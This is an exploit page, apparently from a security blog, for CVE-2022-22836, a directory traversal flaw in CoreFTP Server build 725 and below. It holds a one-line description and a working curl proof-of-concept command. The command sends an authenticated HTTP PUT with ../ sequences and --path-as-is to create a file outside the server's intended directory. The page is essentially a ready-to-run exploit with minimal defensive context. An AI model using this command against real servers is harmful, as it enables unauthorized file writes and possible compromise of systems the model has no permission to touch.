EXPLOIT

CoreFTP Server build 725 – Directory Traversal (Authenticated)

 Exploit Title: CoreFTP Server build 725 - Directory Traversal (Authenticated)
 Exploit Author: LiamInfosec
 Vendor Homepage: http://coreftp.com/
 Version: build 725 and below
 Tested on: Windows 10
 CVE : CVE-2022-22836

# Description:

CoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request.

# Proof of Concept:

curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
            
Bookmark
RiSec.n0tst3
Connect
Share the word, let's increase Cybersecurity Awareness as we know it
Recommended:  Apache Struts 2.5.20 - Double OGNL evaluation POC

Leave a Comment

Your email address will not be published. Required fields are marked *

RiSec Captcha 4 + 2 =